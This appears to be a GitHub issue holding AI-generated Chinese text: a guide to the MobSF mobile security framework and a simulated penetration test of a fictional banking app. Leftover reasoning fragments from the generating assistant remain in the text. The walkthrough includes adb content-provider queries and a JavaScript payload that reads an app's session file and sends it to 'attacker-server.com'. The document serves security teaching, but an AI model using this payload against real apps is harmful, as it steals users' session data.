Skip to content

MobSF工具详细介绍与使用指南 #12

@binghey

Description

@binghey

MobSF(Mobile Security Framework)这一移动端安全测试框架。由于用户要求用中文回复,我们将用中文进行详细介绍。

注意:由于我们无法执行代码或访问外部网络,因此无法提供实时数据或截图,但我们将尽可能详细地描述。

我们将按照以下结构进行介绍:

MobSF简介

主要功能

安装与部署

使用方法

使用场景

注意事项

MobSF 是一个自动化、一体化的移动应用程序(Android、iOS、Windows)渗透测试、恶意软件分析和安全评估框架。它能够执行静态和动态分析,是应用安全测试人员、开发者和研究人员手中非常强大的工具。


1. MobSF 是什么?

MobSF 是一个开源项目,其核心目标是简化移动应用的安全评估流程。它将多种安全测试技术集成到一个统一的Web界面中,用户只需上传应用安装包(APK、IPA、APPX等),它就能自动执行一系列测试,并生成一份详细的安全报告。

官方仓库: https://github.com/MobSF/Mobile-Security-Framework-MobSF


2. 核心功能与特性

MobSF 的功能非常全面,主要可以分为以下几个方面:

2.1 静态分析

在不运行应用程序的情况下,分析其源代码和资源文件。

  • Android (APK):
    • 清单文件分析: 检查 AndroidManifest.xml 中的不安全配置,如调试标志、备份允许、不安全的权限等。
    • 代码分析: 分析反编译的 Smali 或 Java 代码,查找硬编码的敏感信息(API密钥、密码)、不安全的随机数生成、WebView漏洞、SQL注入风险等。
    • 权限检查: 列出所有申请的和危险的权限,并评估其合理性。
    • 组件安全: 检查 Activity、Service、Broadcast Receiver 和 Content Provider 的暴露和配置安全问题。
    • 第三方库识别: 识别应用中使用的第三方库及其已知漏洞。
  • iOS (IPA):
    • Info.plist 分析: 检查不安全的传输安全设置、设备能力配置等。
    • 二进制分析: 检查二进制文件的安全特性,如PIE(位置无关代码)、ARC(自动引用计数)、栈保护等。
    • API 调用分析: 识别不安全的 API 使用。
  • 通用功能:
    • 证书与签名分析: 验证应用的签名和证书信息。
    • 文件结构浏览: 允许用户手动浏览解压后的应用文件结构。

2.2 动态分析

在模拟器或真机上运行应用程序,并监控其运行时行为。

  • 仅支持 Android: MobSF 的动态分析功能主要针对 Android。
  • 实时日志捕获: 捕获应用运行时的 Logcat 日志。
  • 网络流量分析: 通过内置的代理截获和分析应用的 HTTP/HTTPS 流量。
  • API 调用监控: 跟踪应用对敏感 API(如获取位置、读取联系人)的调用。
  • 文件系统监控: 监控应用在运行期间创建和访问的文件。
  • 活动遍历: 尝试自动遍历应用的所有活动界面,以发现潜在的安全问题。

2.3 移动恶意软件分析

通过与 VirusTotal 等在线扫描引擎的集成,可以对应用进行恶意软件检测。

2.4 Web API 测试

MobSF 还集成了对移动应用后端 API 的模糊测试和静态分析功能(通过 api.json 文件)。

2.5 可扩展性

MobSF 提供了 REST API,可以轻松地集成到 CI/CD 流水线中,实现自动化的安全测试。


3. 安装与部署

MobSF 的安装方式非常灵活,主要有以下几种:

  1. 使用 Docker(推荐,最简单)
    这是最快、最干净的安装方式,可以避免环境依赖冲突。

    # 拉取最新镜像
    docker pull opensecurity/mobile-security-framework-mobsf
    # 运行容器
    docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

    运行后,在浏览器中访问 http://localhost:8000 即可。

  2. 本地安装
    可以按照官方文档的说明,在本地通过 git clone 和运行安装脚本的方式来部署。这需要系统已安装 Python、Node.js 等依赖。

  3. 云实例
    也可以部署在云服务器上,供团队其他成员访问使用。


4. 基本使用流程

使用 MobSF 进行安全测试的流程非常直观:

  1. 启动 MobSF: 通过 Docker 或本地命令启动服务。
  2. 访问 Web 界面: 在浏览器中打开 MobSF 的地址(通常是 http://localhost:8000)。
  3. 上传应用文件:
    • 点击 “Upload” 按钮。
    • 选择要分析的 APK(Android)或 IPA(iOS)文件。
  4. 执行扫描: 上传后,MobSF 会自动开始静态分析。对于 Android 应用,你还可以在分析完成后点击 “Start Dynamic Analysis” 来启动动态分析(需要提前配置好模拟器或真机)。
  5. 查看报告: 分析完成后,会生成一份详细的 HTML/PDF 报告。报告会列出发现的安全问题、风险等级、详细描述、受影响的文件以及修复建议。

5. 应用场景与目标用户

  • 移动应用安全工程师/渗透测试人员: 作为核心工具,用于对移动应用进行全面的安全评估。
  • 移动应用开发者: 在开发过程中进行自检,及早发现并修复安全问题。
  • 安全研究人员: 用于快速分析应用的安全状况或进行批量应用扫描。
  • 质量保证团队: 将 MobSF 集成到 CI/CD 流程中,作为质量门禁的一部分。

6. 优势与局限性

优势:

  • 功能全面: 集静态、动态、恶意软件分析于一身。
  • 开源免费: 无需付费,功能强大。
  • 用户友好: 基于 Web 的图形界面,操作简单,报告直观。
  • 高度可扩展: 支持 API 和 CI/CD 集成。
  • 社区活跃: 拥有一个活跃的社区,持续更新和维护。

局限性:

  • 误报/漏报: 像所有自动化工具一样,可能存在误报和漏报,需要测试人员手动验证。
  • 动态分析对 Android 支持更好: 对 iOS 的动态分析功能有限。
  • 无法替代人工测试: MobSF 是一个优秀的辅助工具,但不能完全替代深入的手动安全测试和代码审计。
  • 环境配置: 动态分析需要配置 Android 模拟器或真机环境,有时可能会遇到兼容性问题。

总结

MobSF 是目前最流行、功能最强大的开源移动应用安全测试框架之一。它极大地提高了安全测试的效率,将复杂的分析过程自动化,并为安全人员提供了清晰的切入点。无论你是专业的安全研究员还是希望提升应用安全性的开发者,学习和使用 MobSF 都是一个非常有价值的选择。

重要提示: 请仅在您拥有合法权限的应用程序上使用 MobSF。未经授权对他人的应用进行安全测试可能是非法的。

Linux环境下使用Docker方式安装MobSF,因为这是最简单的方式。
注意:确保已经安装了Docker。

步骤:

拉取MobSF镜像

运行MobSF容器

访问MobSF的Web界面

上传应用进行静态和动态分析

由于动态分析需要连接模拟器或真机,我们这里先介绍静态分析,动态分析需要额外配置。

我们使用Docker运行MobSF,默认只进行静态分析。如果需要动态分析,需要将设备连接到容器,或者使用容器内的模拟器(这比较复杂,通常建议使用外部的模拟器或真机并通过网络连接)。

这里我们先进行静态分析教程。

假设你已经安装了Docker。

好的,这里为您提供一份详细的 MobSF 使用教程,从安装到执行完整的静态和动态分析。


第一步:安装 MobSF(Docker 方式 - 最推荐)

这是最简单、最不容易出错的方法,可以避免复杂的Python环境配置。

  1. 确保系统已安装 Docker

    • 访问 Docker 官网 下载并安装适合你操作系统的 Docker Desktop。
  2. 拉取 MobSF 镜像
    打开终端(命令行),执行以下命令:

    docker pull opensecurity/mobile-security-framework-mobsf:latest
  3. 运行 MobSF 容器
    执行以下命令,将本地的8000端口映射到容器的8000端口:

    docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
    • -it:以交互模式运行。
    • --rm:容器停止后自动删除(可选,用于清理)。
    • -p 8000:8000:端口映射。
  4. 访问 MobSF
    当终端出现 MobSF is running on http://0.0.0.0:8000 的提示时,说明启动成功。打开你的浏览器,访问:

    http://localhost:8000
    

    你将看到 MobSF 的 Web 界面。


第二步:静态分析 - 以 Android APK 为例

这是 MobSF 最核心、最常用的功能。

  1. 准备测试应用
    准备一个用于测试的 APK 文件。你可以从以下途径获取:

  2. 上传并扫描

    • 在 MobSF 主界面,点击 "Upload" 按钮。
    • 在弹出的文件选择器中,找到你的 APK 文件并选择它。
    • 上传完成后,MobSF 会自动开始静态分析。
  3. 解读分析报告
    分析完成后,会自动跳转到报告页面。报告分为几个主要部分,你需要重点关注以下内容:

    • 应用基本信息
      • 包名、版本号、签名证书:了解应用的基本身份信息。
    • 安全评分
      • 一个总体的安全分数,可以快速了解应用的安全状况。
    • 清单分析
      • android:allowBackup="true": 允许备份可能导致数据泄露。
      • android:debuggable="true": 生产环境应用不应可调试。
      • 导出组件: 检查 Activity、Service、Content Provider 等组件是否被不必要的导出,这可能成为攻击入口。
    • 权限分析
      • 所有权限列表: 查看应用申请了哪些权限。
      • 危险权限: 高亮显示那些涉及用户隐私和设备控制的危险权限。思考这些权限是否必要。
    • 代码分析
      • 硬编码敏感信息: MobSF 会尝试查找代码中的字符串常量,如 API Keys、密码、URL等。
      • 不安全的通信: 发现使用不安全的协议(如 HTTP)、证书验证被禁用等。
      • WebView 漏洞: 如 setJavaScriptEnabled(true)setAllowFileAccess(true) 的组合可能导致 RCE。
      • 密码学误用: 使用不安全的加密算法(如 MD5, SHA1)或不安全的随机数生成器。
    • 文件列表
      • 你可以在这里浏览应用解压后的所有文件,并直接查看源代码(如 classes.dex 反编译后的 Smali/Java 代码)、资源文件等。
    • 恶意软件分析
      • 如果配置了 VirusTotal API 密钥,这里会显示多家引擎的扫描结果。

第三步:动态分析 - 仅限 Android

动态分析需要在运行中的应用上进行。MobSF 支持连接 Android 模拟器物理手机

前提条件:配置 Android 设备

A. 使用 Android 模拟器(推荐用于测试)

  1. 下载并安装 Android Studio
  2. 打开 AVD Manager,创建一个新的虚拟设备(建议使用 Android 8.0 或更高版本,且使用 Google APIsGoogle Play 镜像,而非纯 AOSP)。
  3. 启动该模拟器。

B. 使用物理手机

  1. 开启手机的 "开发者选项"(通常通过多次点击"设置"->"关于手机"->"版本号")。
  2. 在开发者选项中,开启 "USB 调试"

在 MobSF 中执行动态分析

  1. 确保设备连接

    • 对于模拟器,MobSF 通常能自动发现。
    • 对于物理手机,通过 USB 连接电脑,并确保电脑已安装相应的 USB 驱动程序。在终端输入 adb devices,确认设备已列出。
  2. 启动动态分析

    • 在完成对一个 APK 的静态分析后,报告页面上会有一个蓝色的 "Start Dynamic Analysis" 按钮。
    • 点击该按钮。MobSF 会自动:
      • 将 APK 安装到连接的设备上。
      • 启动一个代理服务器用于拦截流量。
      • 在设备上设置全局代理,指向 MobSF 的代理。
      • 启动应用。
  3. 操作应用与查看结果

    • 动态分析界面会分为几个面板。你需要手动操作正在运行的应用,尽可能多地触发功能,以便 MobSF 捕获数据。
    • 日志:实时显示应用日志。
    • API 监控:显示应用调用了哪些敏感 API。
    • 网络流量:显示所有拦截到的 HTTP/HTTPS 请求和响应。
    • 文件操作:显示应用创建或访问的文件。
    • 漏洞列表:动态分析过程中发现的漏洞会在这里显示,例如:
      • 通过不安全的连接(HTTP)传输数据。
      • 在日志中打印敏感信息。
      • 截取应用屏幕。
  4. 停止与分析

    • 当你完成应用遍历后,点击 "Stop Analysis" 来停止动态分析并生成最终报告。

第四步:生成和导出报告

在静态或动态分析报告的页面顶部,你可以找到导出选项:

  • PDF 报告: 生成一份格式良好的 PDF 报告,适合交付。
  • JSON 报告: 机器可读的格式,便于集成到其他系统或进行自定义分析。

使用技巧与注意事项

  1. 手动验证: MobSF 的报告(尤其是代码分析部分)可能存在误报。永远不要 100% 相信自动化工具的结果,一定要手动查看代码和配置进行确认。
  2. 深入代码: 利用 MobSF 提供的文件浏览器,直接查看反编译的代码,这是理解和验证漏洞的关键。
  3. 配置 VirusTotal: 为了使用恶意软件分析功能,你需要在 settings.py 中配置你的 VirusTotal API 密钥(对于 Docker 方式,需要创建自定义的配置文件并挂载到容器中)。
  4. CI/CD 集成: 使用 MobSF 的 REST API,你可以在持续集成流程中自动进行安全扫描。具体 API 用法请参考官方文档。

总结:基本工作流

  1. docker run ... -> 启动 MobSF。
  2. http://localhost:8000 -> 打开界面。
  3. Upload APK -> 上传应用。
  4. 阅读静态分析报告 -> 发现代码和配置问题。
  5. (可选)Start Dynamic Analysis -> 连接设备,操作应用,捕获运行时行为。
  6. 导出 PDF/JSON 报告 -> 归档或交付。

这个教程涵盖了 MobSF 的核心使用流程。要成为高手,关键在于不断实践,并结合移动应用安全知识去深入理解报告中的每一个发现。

渗透测试场景,其中我们使用MobSF来分析一个Android应用(APK)。假设我们是一个安全研究员,受邀对一个应用进行安全评估。我们将使用MobSF来辅助我们进行静态和动态分析,以发现潜在的安全漏洞。

场景:对一款名为“VulnApp”的Android应用进行安全测试。

步骤:

收集信息:我们首先获取了VulnApp的APK文件,版本为1.0。

使用MobSF进行静态分析。

使用MobSF进行动态分析。

结合静态和动态分析结果,手动验证漏洞。

生成报告。

下面我们模拟这个过程中MobSF的使用和发现。

静态分析发现:

在AndroidManifest.xml中,发现一个Content Provider被导出(exported=true),且没有设置适当的权限保护。

在代码中发现了硬编码的API密钥。

应用使用HTTP协议进行通信,没有使用TLS。

WebView配置中,启用了JavaScript和文件访问,且允许访问本地文件,这可能导致本地文件泄露。

动态分析发现:

通过动态分析,我们截获了登录请求,发现密码以明文形式通过HTTP传输。

在应用运行时,我们发现它将敏感信息(如会话令牌)写入日志,这可以通过Logcat读取。

现在,我们将模拟MobSF在渗透测试中的使用,并给出一个详细的案例。

注意:以下内容为模拟案例,实际测试中需获得授权。

好的,这里为您呈现一个使用 MobSF 进行移动应用渗透测试的 完整实战场景案例

我们将模拟一个针对 "VulnBank"(一个虚构的银行应用)的渗透测试过程,展示 MobSF 如何在实际安全评估中发挥作用。


场景概述

  • 测试目标VulnBank Android App v1.0 (com.vulnbank.app)
  • 测试类型:黑盒渗透测试(假设我们对应用内部代码一无所知)
  • 测试工具:MobSF(作为核心分析工具),辅以 Burp Suite 进行手动流量验证。
  • 最终目标:发现并利用安全漏洞,获取其他用户的敏感信息。

渗透测试流程

阶段一:信息收集与静态分析

  1. 获取应用

    • 从客户的官方网站或应用商店下载 VulnBank_v1.0.apk
  2. MobSF 静态扫描

    • 启动 MobSF,上传 APK 文件。
    • 等待自动静态分析完成。
  3. 关键发现与初步分析

    • 清单文件分析

      • android:allowBackup="true" - 允许应用数据备份。
      • android:debuggable="true" - 生产环境应用竟可调试!(高危信号)
      • 发现一个导出的 ContentProvidercom.vulnbank.provider.UserDataProvider
    • 权限分析

      • 应用申请了 INTERNET, READ_EXTERNAL_STORAGE, ACCESS_FINE_LOCATION 等权限。权限列表看起来基本合理。
    • 代码分析(MobSF 自动标记)

      • 硬编码的凭据:在 strings.xml 中发现一个名为 api_server_key 的字符串,看起来像是一个静态的 API 密钥。
      • 证书验证禁用:发现代码中有关闭 SSL 证书验证的代码(TrustAllCerts 相关代码)。(高危)
      • 不安全的 WebView 配置WebView.setJavaScriptEnabled(true)WebView.setAllowFileAccess(true)(中高危)
      • SQL 注入可能性:在 UserDataProvider 的查询方法中,发现使用原始 SQL 查询拼接用户输入。
    • 文件浏览

      • 手动检查 AndroidManifest.xml,确认 UserDataProvider 的导出属性:android:exported="true"。这意味着任何应用都可以访问这个 Content Provider。

阶段二:动态分析与漏洞利用

基于静态分析的发现,我们开始有针对性的动态测试。

  1. 配置动态分析环境

    • 在 MobSF 中启动动态分析,MobSF 会自动在已连接的模拟器上安装应用并设置代理。
  2. 漏洞利用路径一:不安全的 Content Provider

    • 背景:静态分析发现 UserDataProvider 可导出且可能存在 SQL 注入。
    • 利用
      • 我们不直接使用 MobSF,而是编写一个简单的攻击应用,或者使用 adb shell 进行查询。
      • 通过 content 命令查询该 Provider:
      adb shell content query --uri content://com.vulnbank.provider.UserDataProvider/users
      • 结果:成功返回了数据库中所有用户的明文信息,包括用户名、邮箱、甚至哈希后的密码!这证实了 数据泄露漏洞
      • 进一步利用(SQL 注入):尝试注入参数:
      adb shell content query --uri "content://com.vulnbank.provider.UserDataProvider/users --where '1=1'"
      • 结果:同样返回了所有数据,证实了 SQL 注入漏洞
  3. 漏洞利用路径二:不安全的网络通信

    • 背景:静态分析发现证书验证被禁用。
    • 利用
      • 在 MobSF 的动态分析界面操作 VulnBank 应用,进行登录、查看账户等操作。
      • 观察 MobSF 的 "Network Logs" 面板。可以看到所有登录和交易请求都发送到了 http://api.vulnbank.com(使用 HTTP,而不是 HTTPS)。(高危)
      • 中间人攻击:由于应用还禁用了证书验证,攻击者可以轻易地进行中间人攻击,解密和篡改所有的 HTTPS 流量(如果存在的话)。我们使用 Burp Suite 可以轻松截获并修改请求,例如在转账时修改收款人和金额。
  4. 漏洞利用路径三:WebView 漏洞利用

    • 背景:静态分析发现不安全的 WebView 配置。
    • 利用
      • 在应用中找到一个使用 WebView 加载内容的界面(例如"用户协议"或"帮助"页面)。
      • 由于 setAllowFileAccess(true),我们可以尝试通过 WebView 读取设备的本地文件。我们通过 ADB 将一个包含恶意 JavaScript 的 HTML 文件推到设备上。
      • 恶意 HTML 内容:
      <script>
      function readFile() {
        // 尝试通过 file:// 协议读取敏感文件
        var xhr = new XMLHttpRequest();
        xhr.open('GET', 'file:///data/data/com.vulnbank.app/shared_prefs/user_session.xml', false);
        xhr.send();
        // 将读取到的内容发送到攻击者控制的服务器
        var img = new Image();
        img.src = 'http://attacker-server.com/steal?data=' + btoa(xhr.responseText);
      }
      readFile();
      </script>
      • 我们通过 ADB 命令让 WebView 加载这个本地文件。由于配置不当,JavaScript 成功执行,并尝试读取应用私有数据,然后外泄。这证实了 WebView 文件泄露漏洞
  5. 动态分析的其他发现

    • 日志泄露:在 MobSF 的 "Logcat" 面板中,我们发现在登录成功后,应用打印了包含用户 ID 和会话令牌的日志。任何拥有日志读取权限的恶意应用都可以窃取这些信息。(敏感信息泄露)

阶段三:报告与总结

渗透测试报告摘要

  • 漏洞列表

    1. 严重:不安全的 Content Provider 导致 SQL 注入和用户数据泄露。
    2. 严重:禁用 SSL 证书验证,导致通信易受中间人攻击。
    3. 高危:使用明文 HTTP 协议传输所有敏感数据。
    4. 高危:不安全的 WebView 配置导致本地文件泄露。
    5. 中危:生产环境应用开启调试模式。
    6. 中危:Logcat 中泄露敏感会话信息。
    7. 信息:存在硬编码的静态 API 密钥。
  • 攻击情景

    一个恶意应用安装在用户手机上,无需任何权限即可通过暴露的 Content Provider 窃取 VulnBank 的所有用户数据。同时,攻击者在与用户同一网络下(如公共 Wi-Fi)可以轻松发起中间人攻击,窃取登录凭据、篡改交易,甚至通过 WebView 漏洞读取用户手机上的其他敏感文件。

  • 修复建议(基于 MobSF 报告)

    • Content Provider:将 android:exported 设为 false,或使用精细化的 permission 标签进行保护。对所有查询输入进行参数化处理。
    • 网络通信:强制使用 HTTPS,并启用完整的证书链验证。移除 TrustAllCerts 代码。
    • WebView:除非绝对必要,否则禁用文件访问 (setAllowFileAccess(false))。
    • 构建配置:确保发布版本中 android:debuggable="false"
    • 安全编码:移除所有硬编码凭据,使用安全的存储方案。禁止将任何敏感信息输出到 Logcat。

案例总结

在这个场景中,MobSF 扮演了核心引擎的角色

  1. 快速定位:通过静态分析,在几分钟内就为我们指明了多个高危漏洞的精确位置(如导出的 Provider、证书验证代码、WebView 配置)。
  2. 自动化验证:通过动态分析,自动设置了测试环境,并帮助我们捕获了网络流量和运行时日志,验证了明文传输和日志泄露问题。
  3. 提高效率:没有 MobSF,渗透测试员可能需要手动反编译、阅读大量代码才能发现这些问题。MobSF 将这个过程自动化,让测试员能将精力集中在最关键的漏洞验证和利用上。

这个案例清晰地展示了如何将 MobSF 集成到一个标准的移动应用渗透测试工作流中,并高效地发现复杂的安全风险。

Metadata

Metadata

Assignees

No one assigned

    Labels

    documentationImprovements or additions to documentation

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions